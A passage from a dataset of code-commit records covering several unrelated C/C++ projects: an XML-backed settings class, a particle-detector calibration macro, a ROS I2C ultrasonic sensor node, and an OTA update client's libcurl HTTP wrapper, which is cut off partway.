L\"bottom\", L\"center\", L\"custom\" };\nstd::vector<std::wstring> Settings::HideAnimNames = { L\"none\", L\"fade\" };\n\nSettings::Settings() {\n\n}\n\nSettings *Settings::Instance() {\n    if (instance == NULL) {\n        instance = new Settings();\n        instance->Reload();\n    }\n    return instance;\n}\n\nvoid Settings::Reload() {\n    _file = AppDir() + L\"\\\\Settings.xml\";\n    CLOG(L\"Loading settings file: %s\", _file.c_str());\n\n    std::string u8FileName = StringUtils::Narrow(_file);\n    tinyxml2::XMLError result = _xml.LoadFile(u8FileName.c_str());\n    if (result != tinyxml2::XMLError::XML_SUCCESS) {\n        throw std::runtime_error(\"Failed to parse XML file\");\n    }\n\n    _root = _xml.GetDocument()->FirstChildElement(\"settings\");\n    if (_root == NULL) {\n        throw std::runtime_error(\"Could not find root XML element\");\n    }\n\n    _skin = new Skin(SkinXML());\n}\n\nint Settings::Save() {\n    FILE *stream;\n    errno_t err = _wfopen_s(&stream, _file.c_str(), L\"w\");\n    if (err != 0) {\n        CLOG(L\"Could not open settings file for writing!\");\n        return 100 + err;\n    }\n    tinyxml2::XMLError result = _xml.SaveFile(stream);\n    fclose(stream);\n    return result;\n}\n\nstd::wstring Settings::AppDir() {\n    if (_appDir.empty()) {\n        wchar_t path[MAX_PATH];\n        GetModuleFileName(NULL, path, MAX_PATH);\n        PathRemoveFileSpec(path);\n        _appDir = std::wstring(path);\n    }\n    return _appDir;\n}\n\nstd::wstring Settings::SettingsApp() {\n    return Settings::AppDir() + L\"\\\\\" + SETTINGS_APP;\n}\n\nstd::wstring Settings::LanguagesDir() {\n    return AppDir() + L\"\\\\\" + LANG_DIR;\n}\n\nstd::wstring Settings::AudioDeviceID() {\n    return GetText(XML_AUDIODEV);\n}\n\nstd::wstring Settings::LanguageName() {\n    std::wstring lang = GetText(XML_LANGUAGE);\n\n    if (lang == L\"\") {\n        return DEFAULT_LANGUAGE;\n    } else {\n        return lang;\n    }\n}\n\nbool Settings::AlwaysOnTop() {\n    return GetEnabled(XML_ONTOP);\n}\n\nvoid Settings::AlwaysOnTop(bool enable) {\n    SetEnabled(XML_ONTOP, enable);\n}\n\nbool Settings::HideFullscreen() {\n    return GetEnabled(XML_HIDE_WHENFULL);\n}\n\nvoid Settings::HideFullscreen(bool enable) {\n    SetEnabled(XML_HIDE_WHENFULL, enable);\n}\nint Settings::OSDEdgeOffset() {\n    if (HasSetting(XML_OSD_OFFSET)) {\n        return GetInt(XML_OSD_OFFSET);\n    } else {\n        return DEFAULT_OSD_OFFSET;\n    }\n}\n\nvoid Settings::OSDEdgeOffset(int offset) {\n    SetInt(XML_OSD_OFFSET, offset);\n}\n\nSettings::OSDPos Settings::OSDPosition() {\n    std::wstring pos = GetText(XML_OSD_POS);\n    std::transform(pos.begin(), pos.end(), pos.begin(), ::tolower);\n\n    for (unsigned int i = 0; i < OSDPosNames.size(); ++i) {\n        if (pos == OSDPosNames[i]) {\n            return (Settings::OSDPos) i;\n        }\n    }\n\n    return DEFAULT_OSD_POS;\n}\n\nvoid Settings::OSDPosition(OSDPos pos) {\n    std::wstring posStr = OSDPosNames[(int) pos];\n    SetText(XML_OSD_POS, StringUtils::Narrow(posStr));\n}\n\nint Settings::OSDX() {\n    return GetInt(XML_OSD_X);\n}\n\nvoid Settings::OSDX(int x) {\n    SetInt(XML_OSD_X, x);\n}\n\nint Settings::OSDY() {\n    return GetInt(XML_OSD_Y);\n}\n\nvoid Settings::OSDY(int y) {\n    SetInt(XML_OSD_Y, y);\n}\n\nSkin *Settings::CurrentSkin() {\n    return _skin;\n}\n\nSettings::HideAnim Settings::HideAnimation() {\n    std::wstring anim = GetText(XML_HIDEANIM);\n    std::transform(anim.begin(), anim.end(), anim.begin(), ::tolower);\n\n    for (unsigned int i = 0; i < HideAnimNames.size(); ++i) {\n        if (anim == HideAnimNames[i]) {\n            return (Settings::HideAnim) i;\n        }\n    }\n\n    return DEFAULT_HIDE_ANIM;\n}\n\nvoid Settings::HideAnimation(Settings::HideAnim anim) {\n    std::wstring hideStr = HideAnimNames[(int) anim];\n    SetText(XML_HIDEANIM, StringUtils::Narrow(hideStr));\n}\n\nint Settings::HideDelay() {\n    return GetInt(XML_HIDETIME);\n}\n\nvoid Settings::HideDelay(int delay) {\n    SetInt(XML_HIDETIME, delay);\n}\n\nint Settings::HideSpeed() {\n    return GetInt(XML_HIDESPEED);\n}\n\nvoid Settings::HideSpeed(int speed) {\n    SetInt(XML_HIDESPEED, speed);\n}\n\nbool Settings::CurrentSkin(std::wstring skinName) {\n    std::string name = StringUtils::Narrow(skinName);\n    std::wstring xml = SkinXML(skinName);\n    if (MiscUtils::FileExists(xml) == false) {\n        return false;\n    }\n\n    SetText(XML_SKIN, name);\n    return true;\n}\n\nstd::wstring Settings::SkinName() {\n    std::wstring name = GetText(\"skin\");\n\n    if (name == L\"\") {\n        return DEFAULT_SKIN;\n    } else {\n        return name;\n    }\n}\n\nstd::wstring Settings::SkinXML() {\n    return SkinXML(SkinName());\n}\n\nstd::wstring Settings::SkinXML(std::wstring skinName) {\n    std::wstring skinXML = Settings::AppDir() + L\"\\\\\" + SKINS_DIR L\"\\\\\"\n        + skinName + L\"\\\\\" SKIN_XML;\n    return skinXML;\n}\n\nstd::unordered_map<int, int> Settings::Hotkeys() {\n    std::unordered_map<int, int> keyMappings;\n\n    tinyxml2::XMLElement *hotkeys = _root->FirstChildElement(\"hotkeys\");\n    tinyxml2::XMLElement *hotkey = hotkeys->FirstChildElement(\"hotkey\");\n\n    for (; hotkey != NULL; hotkey = hotkey->NextSiblingElement()) {\n        int action = -1;\n        hotkey->QueryIntAttribute(\"action\", &action);\n        if (action == -1) {\n            CLOG(L\"No action provided for hotkey; skipping\");\n            continue;\n        }\n\n        int combination = -1;\n        hotkey->QueryIntAttribute(\"combination\", &combination);\n        if (combination == -1) {\n            CLOG(L\"No key combination provided for hotkey; skipping\");\n            continue;\n        }\n        \n        \/* Whew, we made it! *\/\n        CLOG(L\"Adding hotkey mapping: %d -> %d\", combination, action);\n        keyMappings[combination] = action;\n    }\n\n    return keyMappings;\n}\n\nbool Settings::NotifyIconEnabled() {\n    return GetEnabled(XML_NOTIFYICON);\n}\n\nvoid Settings::NotifyIconEnabled(bool enable) {\n    SetEnabled(XML_NOTIFYICON, enable);\n}\n\nbool Settings::SoundEffectsEnabled() {\n    return GetEnabled(XML_SOUNDS);\n}\n\nvoid Settings::SoundEffectsEnabled(bool enable) {\n    SetEnabled(XML_SOUNDS, enable);\n}\n\nbool Settings::HasSetting(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    return (el != NULL);\n}\n\nbool Settings::GetEnabled(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        CLOG(L\"Warning: XML element '%s' not found\", elementName.c_str());\n        return false;\n    } else {\n        bool val = false;\n        el->QueryBoolText(&val);\n        return val;\n    }\n}\n\nvoid Settings::SetEnabled(std::string elementName, bool enabled) {\n    tinyxml2::XMLElement *el = GetOrCreateElement(elementName);\n    el->SetText(enabled ? \"true\" : \"false\");\n}\n\nstd::wstring Settings::GetText(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        CLOG(L\"Warning: XML element '%s' not found\", elementName.c_str());\n        return L\"\";\n    }\n\n    const char* str = el->GetText();\n    if (str == NULL) {\n        return L\"\";\n    } else {\n        return StringUtils::Widen(str);\n    }\n}\n\nvoid Settings::SetText(std::string elementName, std::string text) {\n    tinyxml2::XMLElement *el = GetOrCreateElement(elementName);\n    el->SetText(text.c_str());\n}\n\nint Settings::GetInt(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        CLOG(L\"Warning: XML element '%s' not found\", elementName.c_str());\n        return 0;\n    }\n\n    int val = 0;\n    el->QueryIntText(&val);\n    return val;\n}\n\nvoid Settings::SetInt(std::string elementName, int value) {\n    tinyxml2::XMLElement *el = GetOrCreateElement(elementName);\n    el->SetText(value);\n}\n\ntinyxml2::XMLElement *Settings::GetOrCreateElement(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        el = _xml.NewElement(elementName.c_str());\n        _root->InsertEndChild(el);\n    }\n    return el;\n}<|endoftext|>"}
{"text":"<commit_before>void CalculateHVs(Float_t requiredADCperMIP = 2.6, Int_t run = 137366)\n{\n  AliCDBManager *man = AliCDBManager::Instance();\n  man->SetDefaultStorage(\"raw:\/\/\");\n  man->SetSpecificStorage(\"VZERO\/Calib\/PMGains\",\"local:\/\/$ALICE_ROOT\/OCDB\");\n  man->SetSpecificStorage(\"VZERO\/Calib\/LightYields\",\"local:\/\/$ALICE_ROOT\/OCDB\");\n  man->SetRun(run);\n\n  AliCDBEntry *ent = man->Get(\"VZERO\/Calib\/Data\");\n  AliVZEROCalibData *calData = (AliVZEROCalibData*)ent->GetObject();\n  for(Int_t i = 0; i < 64; ++i) {\n    printf(\"%d %.0f (%.0f) S%d R%d\\n\",\n\t   i,\n\t   calData->GetHV(i,requiredADCperMIP),\n\t   calData->GetMeanHV(i),\n\t   i%8,\n\t   (i<32) ? i\/8 : (i-32)\/8);\n  }\n}\n<commit_msg>Minor changes<commit_after>void CalculateHVs(Float_t requiredADCperMIP = 2.6, Int_t run = 137366, Bool_t specificStorage = kTRUE)\n{\n  AliCDBManager *man = AliCDBManager::Instance();\n  man->SetDefaultStorage(\"raw:\/\/\");\n  if (specificStorage) {\n    man->SetSpecificStorage(\"VZERO\/Calib\/PMGains\",\"local:\/\/$ALICE_ROOT\/OCDB\");\n    man->SetSpecificStorage(\"VZERO\/Calib\/LightYields\",\"local:\/\/$ALICE_ROOT\/OCDB\");\n  }\n  man->SetRun(run);\n\n  AliCDBEntry *ent = man->Get(\"VZERO\/Calib\/Data\");\n  AliVZEROCalibData *calData = (AliVZEROCalibData*)ent->GetObject();\n  for(Int_t i = 0; i < 64; ++i) {\n    printf(\"%d %.0f (%.0f) S%d R%d     Delta=%.0f\\n\",\n\t   i,\n\t   calData->GetHV(i,requiredADCperMIP),\n\t   calData->GetMeanHV(i),\n\t   i%8,\n\t   (i<32) ? i\/8 : (i-32)\/8,\n\t   calData->GetHV(i,requiredADCperMIP)-calData->GetMeanHV(i));\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/#include <glib.h>\n\/\/#include <glib\/gprintf.h>\n\/\/#include <errno.h>\n\/\/#include <string.h>\n\/\/#include <stdio.h>\n\/\/#include <stdlib.h>\n#include <unistd.h>\n#include <linux\/i2c-dev.h>\n#include <sys\/ioctl.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n\n#include <ros\/ros.h>\n#include <sensor_msgs\/Range.h>\n#include <linux\/i2c-dev.h>\n\n#define CM_PER_IT       1.5\n\nint main(int argc, char** argv) {\n  ros::init(argc, argv, \"kulbabu_hardware_ultrasonic\");\n  ros::NodeHandle nh;\n  ros::NodeHandle ph(\"~\");\n\n  std::string topic_name;\n  int i2c_adapter, i2c_address;\n  double field_of_view, max_range, min_range, publish_frequency;\n\n  ph.param<std::string>(\"topic_name\", topic_name, \"range\");\n  ph.param<int>(\"i2c_adapter\", i2c_adapter, 1);\n  ph.param<int>(\"i2c_address\", i2c_address, 0x10);\n  ph.param<double>(\"field_of_view\", field_of_view, 0.261799388); \/\/ 15deg in rad (HCSR04)\n  ph.param<double>(\"max_range\", max_range, 4.00);\n  ph.param<double>(\"min_range\", min_range, 0.02);\n  ph.param<double>(\"publish_frequency\", publish_frequency, 10.0);\n\n  char topic[24];\n  strcpy(topic, topic_name.c_str());\n\n  ros::Publisher range_pubs[8];\n\n  for (uint8_t x=0;x<8;x++) {\n    char name[25];\n    sprintf(name, \"%s%d\", topic, x);\n    range_pubs[x] = nh.advertise<sensor_msgs::Range>(name, 50);\n  }\n\n  \/\/ Setup i2c\n  int file;\n  char filename[20];\n\n  snprintf(filename, 19, \"\/dev\/i2c-%d\", i2c_adapter);\n  file = open(filename, O_RDWR);\n  if (file < 0) {\n    \/* ERROR HANDLING; you can check errno to see what went wrong *\/\n    ROS_ERROR_STREAM( \"I2C failed opening connection\");\n    exit(1);\n  }\n\n  if (ioctl(file, I2C_SLAVE, i2c_address) < 0) {\n    \/* ERROR HANDLING; you can check errno to see what went wrong *\/\n    ROS_ERROR_STREAM( \"I2C failed addressing connection\");\n    exit(1);\n  }\n\n  ros::Rate r(publish_frequency);\n  while (nh.ok()) {\n    ros::Time current_time = ros::Time::now();\n\n    \/\/uint8_t res;\n    \/\/ Read data from i2c\n    \/\/res = i2c_smbus_read_word_data(file, addr);\n    \/\/if (res < 0) {\n\n    uint8_t buf[8];\n    buf[0] = i2c_address;\n\n    if (read(file, buf, sizeof(buf)) != sizeof(buf)) {\n      \/* ERROR HANDLING: i2c transaction failed *\/\n      ROS_WARN_STREAM( \"I2C failed \" << buf );\n    } else {\n      \/\/ https:\/\/github.com\/ros\/common_msgs\/blob\/indigo-devel\/sensor_msgs\/msg\/Range.msg\n      sensor_msgs::Range range_msg;\n      range_msg.header.stamp = current_time;\n\n      range_msg.radiation_type = 0; \/\/ Ultrasonic \/\/ FIXME: sensor_msgs::Range::ULTRASOUND\n      range_msg.field_of_view = field_of_view;\n      range_msg.max_range = max_range;\n      range_msg.min_range = min_range;\n\n      for (uint8_t x=0;x<8;x++) {\n        char name[25];\n\t    sprintf(name, \"%s%d\", topic, x);\n        range_msg.header.frame_id = name;\n        range_msg.range = (((float)buf[x])*CM_PER_IT)\/100;\n        ROS_INFO( \"I2C read %s %d\", name, buf[x] );\n        range_pubs[x].publish(range_msg);\n      }\n    }\n\n    ros::spinOnce();\n    r.sleep();\n  }\n\n  \/\/ Wait until shutdown signal recieved\n  \/\/ros::waitForShutdown();\n\n  return 0;\n}\n<commit_msg>Add link suffix<commit_after>\/\/#include <glib.h>\n\/\/#include <glib\/gprintf.h>\n\/\/#include <errno.h>\n\/\/#include <string.h>\n\/\/#include <stdio.h>\n\/\/#include <stdlib.h>\n#include <unistd.h>\n#include <linux\/i2c-dev.h>\n#include <sys\/ioctl.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n\n#include <ros\/ros.h>\n#include <sensor_msgs\/Range.h>\n#include <linux\/i2c-dev.h>\n\n#define CM_PER_IT       1.5\n\nint main(int argc, char** argv) {\n  ros::init(argc, argv, \"kulbabu_hardware_ultrasonic\");\n  ros::NodeHandle nh;\n  ros::NodeHandle ph(\"~\");\n\n  std::string topic_name;\n  int i2c_adapter, i2c_address;\n  double field_of_view, max_range, min_range, publish_frequency;\n\n  ph.param<std::string>(\"topic_name\", topic_name, \"range\");\n  ph.param<int>(\"i2c_adapter\", i2c_adapter, 1);\n  ph.param<int>(\"i2c_address\", i2c_address, 0x10);\n  ph.param<double>(\"field_of_view\", field_of_view, 0.261799388); \/\/ 15deg in rad (HCSR04)\n  ph.param<double>(\"max_range\", max_range, 4.00);\n  ph.param<double>(\"min_range\", min_range, 0.02);\n  ph.param<double>(\"publish_frequency\", publish_frequency, 10.0);\n\n  char topic[24];\n  strcpy(topic, topic_name.c_str());\n\n  ros::Publisher range_pubs[8];\n\n  for (uint8_t x=0;x<8;x++) {\n    char name[25];\n    sprintf(name, \"%s%d\", topic, x);\n    range_pubs[x] = nh.advertise<sensor_msgs::Range>(name, 50);\n  }\n\n  \/\/ Setup i2c\n  int file;\n  char filename[20];\n\n  snprintf(filename, 19, \"\/dev\/i2c-%d\", i2c_adapter);\n  file = open(filename, O_RDWR);\n  if (file < 0) {\n    \/* ERROR HANDLING; you can check errno to see what went wrong *\/\n    ROS_ERROR_STREAM( \"I2C failed opening connection\");\n    exit(1);\n  }\n\n  if (ioctl(file, I2C_SLAVE, i2c_address) < 0) {\n    \/* ERROR HANDLING; you can check errno to see what went wrong *\/\n    ROS_ERROR_STREAM( \"I2C failed addressing connection\");\n    exit(1);\n  }\n\n  ros::Rate r(publish_frequency);\n  while (nh.ok()) {\n    ros::Time current_time = ros::Time::now();\n\n    \/\/uint8_t res;\n    \/\/ Read data from i2c\n    \/\/res = i2c_smbus_read_word_data(file, addr);\n    \/\/if (res < 0) {\n\n    uint8_t buf[8];\n    buf[0] = i2c_address;\n\n    if (read(file, buf, sizeof(buf)) != sizeof(buf)) {\n      \/* ERROR HANDLING: i2c transaction failed *\/\n      ROS_WARN_STREAM( \"I2C failed \" << buf );\n    } else {\n      \/\/ https:\/\/github.com\/ros\/common_msgs\/blob\/indigo-devel\/sensor_msgs\/msg\/Range.msg\n      sensor_msgs::Range range_msg;\n      range_msg.header.stamp = current_time;\n\n      range_msg.radiation_type = 0; \/\/ Ultrasonic \/\/ FIXME: sensor_msgs::Range::ULTRASOUND\n      range_msg.field_of_view = field_of_view;\n      range_msg.max_range = max_range;\n      range_msg.min_range = min_range;\n\n      for (uint8_t x=0;x<8;x++) {\n        char name[25];\n\t    sprintf(name, \"%s%d_link\", topic, x);\n        range_msg.header.frame_id = name;\n        range_msg.range = (((float)buf[x])*CM_PER_IT)\/100;\n        ROS_INFO( \"I2C read %s %d\", name, buf[x] );\n        range_pubs[x].publish(range_msg);\n      }\n    }\n\n    ros::spinOnce();\n    r.sleep();\n  }\n\n  \/\/ Wait until shutdown signal recieved\n  \/\/ros::waitForShutdown();\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"httpclient.h\"\n#include \"utilities\/utils.h\"\n\n#include <assert.h>\n#include <openssl\/crypto.h>\n#include <openssl\/err.h>\n#include <openssl\/evp.h>\n#include <openssl\/opensslv.h>\n#include <openssl\/pem.h>\n#include <openssl\/pkcs12.h>\n#include <openssl\/rand.h>\n#include <openssl\/rsa.h>\n#include <openssl\/ssl.h>\n\n#include \"crypto\/openssl_compat.h\"\n#include \"utilities\/utils.h\"\n\nstruct WriteStringArg {\n  std::string out;\n  int64_t limit{0};\n};\n\n\/*****************************************************************************\/\n\/**\n * \\par Description:\n *    A writeback handler for the curl library. It handles writing response\n *    data from curl into a string.\n *    https:\/\/curl.haxx.se\/libcurl\/c\/CURLOPT_WRITEFUNCTION.html\n *\n *\/\nstatic size_t writeString(void* contents, size_t size, size_t nmemb, void* userp) {\n  assert(contents);\n  assert(userp);\n  \/\/ append the writeback data to the provided string\n  auto* arg = static_cast<WriteStringArg*>(userp);\n  if (arg->limit > 0) {\n    if (arg->out.length() + size * nmemb > static_cast<uint64_t>(arg->limit)) {\n      return 0;\n    }\n  }\n  (static_cast<WriteStringArg*>(userp))->out.append(static_cast<char*>(contents), size * nmemb);\n\n  \/\/ return size of written data\n  return size * nmemb;\n}\n\nHttpClient::HttpClient() : user_agent(std::string(\"Aktualizr\/\") + AKTUALIZR_VERSION) {\n  curl = curl_easy_init();\n  if (curl == nullptr) {\n    throw std::runtime_error(\"Could not initialize curl\");\n  }\n  headers = nullptr;\n  http_code = 0;\n\n  curlEasySetoptWrapper(curl, CURLOPT_NOSIGNAL, 1L);\n  curlEasySetoptWrapper(curl, CURLOPT_TIMEOUT, 60L);\n  curlEasySetoptWrapper(curl, CURLOPT_CONNECTTIMEOUT, 60L);\n\n  \/\/ let curl use our write function\n  curlEasySetoptWrapper(curl, CURLOPT_WRITEFUNCTION, writeString);\n  curlEasySetoptWrapper(curl, CURLOPT_WRITEDATA, NULL);\n\n  curlEasySetoptWrapper(curl, CURLOPT_VERBOSE, get_curlopt_verbose());\n\n  headers = curl_slist_append(headers, \"Content-Type: application\/json\");\n  headers = curl_slist_append(headers, \"Accept: *\/*\");\n  curlEasySetoptWrapper(curl, CURLOPT_HTTPHEADER, headers);\n  curlEasySetoptWrapper(curl, CURLOPT_USERAGENT, user_agent.c_str());\n}\n\nHttpClient::HttpClient(const HttpClient& curl_in) : pkcs11_key(curl_in.pkcs11_key), pkcs11_cert(curl_in.pkcs11_key) {\n  curl = curl_easy_duphandle(curl_in.curl);\n\n  struct curl_slist* inlist = curl_in.headers;\n  headers = nullptr;\n  struct curl_slist* tmp;\n\n  while (inlist != nullptr) {\n    tmp = curl_slist_append(headers, inlist->data);\n\n    if (tmp == nullptr) {\n      curl_slist_free_all(headers);\n      throw std::runtime_error(\"curl_slist_append returned null\");\n    }\n\n    headers = tmp;\n    inlist = inlist->next;\n  }\n}\n\nCurlGlobalInitWrapper HttpClient::manageCurlGlobalInit_{};\n\nHttpClient::~HttpClient() {\n  curl_slist_free_all(headers);\n  curl_easy_cleanup(curl);\n}\n\nHttpResponse HttpClient::get(const std::string& url, int64_t maxsize) {\n  CURL* curl_get = curl_easy_duphandle(curl);\n\n  \/\/ TODO: it is a workaround for an unidentified bug in libcurl. Ideally the bug itself should be fixed.\n  if (pkcs11_key) {\n    curlEasySetoptWrapper(curl_get, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl_get, CURLOPT_SSLKEYTYPE, \"ENG\");\n  }\n\n  if (pkcs11_cert) {\n    curlEasySetoptWrapper(curl_get, CURLOPT_SSLCERTTYPE, \"ENG\");\n  }\n\n  \/\/ Clear POSTFIELDS to remove any lingering references to strings that have\n  \/\/ probably since been deallocated.\n  curlEasySetoptWrapper(curl_get, CURLOPT_POSTFIELDS, \"\");\n  curlEasySetoptWrapper(curl_get, CURLOPT_URL, url.c_str());\n  curlEasySetoptWrapper(curl_get, CURLOPT_HTTPGET, 1L);\n  if (maxsize >= 0) {\n    \/\/ it will only take effect if the server declares the size in advance,\n    \/\/    writeString callback takes care of the other case\n    curlEasySetoptWrapper(curl_get, CURLOPT_MAXFILESIZE_LARGE, maxsize);\n  }\n  curlEasySetoptWrapper(curl_get, CURLOPT_LOW_SPEED_TIME, speed_limit_time_interval_);\n  curlEasySetoptWrapper(curl_get, CURLOPT_LOW_SPEED_LIMIT, speed_limit_bytes_per_sec_);\n  LOG_DEBUG << \"GET \" << url;\n  HttpResponse response = perform(curl_get, RETRY_TIMES, maxsize);\n  curl_easy_cleanup(curl_get);\n  return response;\n}\n\nvoid HttpClient::setCerts(const std::string& ca, CryptoSource ca_source, const std::string& cert,\n                          CryptoSource cert_source, const std::string& pkey, CryptoSource pkey_source) {\n  curlEasySetoptWrapper(curl, CURLOPT_SSL_VERIFYPEER, 1);\n  curlEasySetoptWrapper(curl, CURLOPT_SSL_VERIFYHOST, 2);\n  curlEasySetoptWrapper(curl, CURLOPT_USE_SSL, CURLUSESSL_ALL);\n\n  if (ca_source == CryptoSource::kPkcs11) {\n    throw std::runtime_error(\"Accessing CA certificate on PKCS11 devices isn't currently supported\");\n  }\n  std::unique_ptr<TemporaryFile> tmp_ca_file = std_::make_unique<TemporaryFile>(\"tls-ca\");\n  tmp_ca_file->PutContents(ca);\n  curlEasySetoptWrapper(curl, CURLOPT_CAINFO, tmp_ca_file->Path().c_str());\n  tls_ca_file = std::move_if_noexcept(tmp_ca_file);\n\n  if (cert_source == CryptoSource::kPkcs11) {\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERT, cert.c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERTTYPE, \"ENG\");\n  } else {  \/\/ cert_source == CryptoSource::kFile\n    std::unique_ptr<TemporaryFile> tmp_cert_file = std_::make_unique<TemporaryFile>(\"tls-cert\");\n    tmp_cert_file->PutContents(cert);\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERT, tmp_cert_file->Path().c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLCERTTYPE, \"PEM\");\n    tls_cert_file = std::move_if_noexcept(tmp_cert_file);\n  }\n  pkcs11_cert = (cert_source == CryptoSource::kPkcs11);\n\n  if (pkey_source == CryptoSource::kPkcs11) {\n    curlEasySetoptWrapper(curl, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl, CURLOPT_SSLENGINE_DEFAULT, 1L);\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEY, pkey.c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEYTYPE, \"ENG\");\n  } else {  \/\/ pkey_source == CryptoSource::kFile\n    std::unique_ptr<TemporaryFile> tmp_pkey_file = std_::make_unique<TemporaryFile>(\"tls-pkey\");\n    tmp_pkey_file->PutContents(pkey);\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEY, tmp_pkey_file->Path().c_str());\n    curlEasySetoptWrapper(curl, CURLOPT_SSLKEYTYPE, \"PEM\");\n    tls_pkey_file = std::move_if_noexcept(tmp_pkey_file);\n  }\n  pkcs11_key = (pkey_source == CryptoSource::kPkcs11);\n}\n\nHttpResponse HttpClient::post(const std::string& url, const Json::Value& data) {\n  curlEasySetoptWrapper(curl, CURLOPT_URL, url.c_str());\n  curlEasySetoptWrapper(curl, CURLOPT_POST, 1);\n  std::string data_str = Json::FastWriter().write(data);\n  curlEasySetoptWrapper(curl, CURLOPT_POSTFIELDS, data_str.c_str());\n  LOG_TRACE << \"post request body:\" << data;\n  return perform(curl, RETRY_TIMES, HttpInterface::kPostRespLimit);\n}\n\nHttpResponse HttpClient::put(const std::string& url, const Json::Value& data) {\n  CURL* curl_put = curl_easy_duphandle(curl);\n\n  \/\/ TODO: it is a workaround for an unidentified bug in libcurl. Ideally the bug itself should be fixed.\n  if (pkcs11_key) {\n    curlEasySetoptWrapper(curl_put, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl_put, CURLOPT_SSLKEYTYPE, \"ENG\");\n  }\n\n  if (pkcs11_cert) {\n    curlEasySetoptWrapper(curl_put, CURLOPT_SSLCERTTYPE, \"ENG\");\n  }\n\n  curlEasySetoptWrapper(curl_put, CURLOPT_URL, url.c_str());\n  std::string data_str = Json::FastWriter().write(data);\n  curlEasySetoptWrapper(curl_put, CURLOPT_POSTFIELDS, data_str.c_str());\n  curlEasySetoptWrapper(curl_put, CURLOPT_CUSTOMREQUEST, \"PUT\");\n  LOG_TRACE << \"put request body:\" << data;\n  HttpResponse result = perform(curl_put, RETRY_TIMES, HttpInterface::kPutRespLimit);\n  curl_easy_cleanup(curl_put);\n  return result;\n}\n\nHttpResponse HttpClient::perform(CURL* curl_handler, int retry_times, int64_t size_limit) {\n  WriteStringArg response_arg;\n  response_arg.limit = size_limit;\n  curlEasySetoptWrapper(curl_handler, CURLOPT_WRITEDATA, static_cast<void*>(&response_arg));\n  CURLcode result = curl_easy_perform(curl_handler);\n  curl_easy_getinfo(curl_handler, CURLINFO_RESPONSE_CODE, &http_code);\n  HttpResponse response(response_arg.out, http_code, result, (result != CURLE_OK) ? curl_easy_strerror(result) : \"\");\n  if (response.curl_code != CURLE_OK || response.http_status_code >= 500) {\n    std::ostringstream error_message;\n    error_message << \"curl error \" << response.curl_code << \" (http code \" << response.http_status_code\n                  << \"): \" << response.error_message;\n    LOG_ERROR << error_message.str();\n    if (retry_times != 0) {\n      sleep(1);\n      response = perform(curl_handler, --retry_times, size_limit);\n    }\n  }\n  LOG_TRACE << \"response http code: \" << response.http_status_code;\n  LOG_TRACE << \"response: \" << response.body;\n  return response;\n}\n\nHttpResponse HttpClient::download(const std::string& url, curl_write_callback callback, void* userp, size_t from) {\n  CURL* curl_download = curl_easy_duphandle(curl);\n\n  \/\/ TODO: it is a workaround for an unidentified bug in libcurl. Ideally the bug itself should be fixed.\n  if (pkcs11_key) {\n    curlEasySetoptWrapper(curl_download, CURLOPT_SSLENGINE, \"pkcs11\");\n    curlEasySetoptWrapper(curl_download, CURLOPT_SSLKEYTYPE, \"ENG\");\n  }\n\n  if (pkcs11_cert) {\n    curlEasySetoptWrapper(curl_download, CURLOPT_SSLCERTTYPE, \"ENG\");\n  }\n\n  curlEasySetoptWrapper(curl_download, CURLOPT_URL, url.c_str());\n  curlEasySetoptWrapper(curl_download, CURLOPT_HTTPGET, 1L);\n  curlEasySetoptWrapper(curl_download, CURLOPT_FOLLOWLOCATION, 1L);\n  curlEasySetoptWrapper(curl_download, CURLOPT_WRITEFUNCTION, callback);\n  curlEasySetoptWrapper(curl_download, CURLOPT_WRITEDATA, userp);\n  curlEasySetoptWrapper(curl_download, CURLOPT_LOW_SPEED_TIME, speed_limit_time_interval_);\n  curlEasySetoptWrapper(curl_download, CURLOPT_LOW_SPEED_LIMIT, speed_limit_bytes_per_sec_);\n  curlEasySetoptWrapper(curl_download, CURLOPT_RESUME_FROM, from);\n\n  CURLcode result = curl_easy_perform(curl_download);\n  curl_easy_getinfo(curl_download, CURLINFO_RESPONSE_CODE, &http_code);\n  HttpResponse response(\"\", http_code, result, (result != CURLE_OK) ? curl_easy_strerror(result) : \"\");\n  curl_easy_cleanup(curl_download);\n  return response;\n}\n\n\/\/ vim: set tabstop=2 shiftwidth=2 expandtab:\n<commit_msg>Disable timeout for download operation<commit_after>#include \"httpclient.h\"\n#include \"utilities\/utils.h\"\n\n#include <assert.h>\n#include <openssl\/crypto.h>\n#include <openssl\/err.h>\n#include <openssl\/evp.h>\n#include <openssl\/opensslv.h>\n#include <openssl\/pem.h>\n#include <openssl\/pkcs12.h>\n#include <openssl\/rand.h>\n#include <openssl\/rsa.h>\n#include <openssl\/ssl.h>\n\n#include \"crypto\/openssl_compat.h\"\n#include \"utilities\/utils.h\"\n\nstruct WriteStringArg {\n  std::string out;\n  int64_t limit{0};\n};\n\n\/*****************************************************************************\/\n\/**\n * \\par Description:\n *    A writeback handler for the curl library. It handles writing response\n *    data from curl into a string.\n *    https:\/\/curl.haxx.se\/libcurl\/c\/CURLOPT_WRITEFUNCTION.html\n *\n *\/\nstatic size_t writeString(void* contents, size_t size, size_t nmemb, void* userp) {\n  assert(contents);\n  assert(userp);\n  \/\/ append the writeback data to the provided string\n 